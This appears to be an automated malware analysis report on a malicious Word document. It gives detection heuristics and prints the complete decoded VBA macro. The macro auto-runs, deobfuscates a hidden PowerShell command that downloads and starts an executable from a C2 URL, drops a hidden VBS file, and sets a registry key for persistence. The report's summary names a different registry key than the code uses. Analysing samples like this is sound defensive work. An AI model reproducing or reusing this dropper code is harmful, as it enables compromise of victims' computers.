Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 40576f532e15db75…

MALICIOUS

Office (OLE)

31.5 KB Created: 2018-11-21 09:59:00 Authoring application: Microsoft Office Word First seen: 2019-01-11
MD5: 713a6bc856b6d6554c22570c5ac309b6 SHA-1: a6315aa3731486aff8297e596d16a5769074c720 SHA-256: 40576f532e15db7559b6d9bad092779e47592ba98d51cb2b3558a411a6ade8fd
470 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059.001 PowerShell T1204.002 Malicious File T1140 Deobfuscate or Obfuscate

The sample contains an AutoOpen VBA macro that uses WScript.Shell and CreateObject to construct and execute a PowerShell command. This command downloads a file from the deobfuscated URL 'http://p&c.h&w#@l!b.c&m/C2/Ag@nt/20181121045916' to 'C:\Users\Public\config.txt', renames it to 'config.vbs', sets it as hidden, and then executes it. The macro also attempts to write to the registry key HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell, likely for persistence.

Heuristics 12

  • ClamAV: Xls.Downloader.Valyria-6721526-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Downloader.Valyria-6721526-0
  • VBA macros detected medium 7 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
            strComputer = "."
            Shell "wscript C:\Users\Public\config.vbs", vbNormalFocus
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
          a.WriteLine ("Dim objShell")
          a.WriteLine ("Set objShell = WScript.CreateObject(""WScript.Shell"")")
          a.WriteLine (dstr)
  • Obfuscated VBA Shell command with URL critical OLE_VBA_OBFUSCATED_SHELL_URL
    VBA macro invokes Shell with command text assembled through decoder or string-manipulation functions and includes a URL. This is a high-confidence downloader/dropper pattern, stronger than Shell or URL evidence on their own.
    Matched line in script
          a.WriteLine ("Dim objShell")
          a.WriteLine ("Set objShell = WScript.CreateObject(""WScript.Shell"")")
          a.WriteLine (dstr)
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
     dstr = Deobf(nstr)
     Set fs = CreateObject("Scripting.FileSystemObject")
        If Not fs.FileExists("C:\Users\Public\config.txt") Then
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
     dstr = Deobf(nstr)
     Set fs = CreateObject("Scripting.FileSystemObject")
        If Not fs.FileExists("C:\Users\Public\config.txt") Then
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Customizable = True
    Sub AutoOpen()
    Persist
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://p&c.h&w#@l!b.c&m/C2/Ag@nt/20181121045916 Referenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/mainReferenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2085 bytes
SHA-256: ba2bcd4c9353dcff423c129e3956322dd15bc6d61f7e43dc6cd2dbc216c467c2
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
Persist
Reg
Start

End Sub

Public Function Deobf(ObfString As String) As String
 Deobf = Replace(ObfString, "!", "a")
 Deobf = Replace(Deobf, "@", "e")
 Deobf = Replace(Deobf, "#", "i")
 Deobf = Replace(Deobf, "&", "o")
 Deobf = Replace(Deobf, "%", "u")
End Function

Public Function Persist() As Variant
 Dim nstr As String
 nstr = "c&mm!nd = ""C:\WINDOWS\syst@m32\W#nd&wsP&w@rSh@ll\v1.0\p&w@rsh@ll.@x@ -@p Byp!ss -W#nd&wStyl@ H#dd@n -n&p -n&@x#t -c IEX ((N@w-Obj@ct N@t.W@bCl#@nt).D&wnl&!dF#l@('http://p&c.h&w#@l!b.c&m/C2/Ag@nt/20181121045916','Sc!nn@rDr#v@r.@x@'));St!rt-Pr&c@ss 'Sc!nn@rDr#v@r.@x@'"""
 Dim dstr As String
 dstr = Deobf(nstr)
 Set fs = CreateObject("Scripting.FileSystemObject")
    If Not fs.FileExists("C:\Users\Public\config.txt") Then
      Set a = fs.CreateTextFile("C:\Users\Public\config.txt", True)
      a.WriteLine ("Dim objShell")
      a.WriteLine ("Set objShell = WScript.CreateObject(""WScript.Shell"")")
      a.WriteLine (dstr)
      a.WriteLine ("objShell.Run command,0")
      a.WriteLine ("Set objShell = Nothing")
      a.Close
      GivenLocation = "C:\Users\Public\"
      OldFileName = "config.txt"
      NewFileName = "config.vbs"
      Name GivenLocation & OldFileName As GivenLocation & NewFileName
      SetAttr "C:\Users\Public\config.vbs", vbHidden
    End If
End Function

Public Function Reg() As Variant
Set WshShell = CreateObject("WScript.Shell")
WshShell.RegWrite "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows\Load", "C:\Users\Public\config.vbs", "REG_SZ"
Set WshShell = Nothing

End Function

Public Function Start() As Variant
 Const HIDDEN_WINDOW = 0
        strComputer = "."
        Shell "wscript C:\Users\Public\config.vbs", vbNormalFocus
      
End Function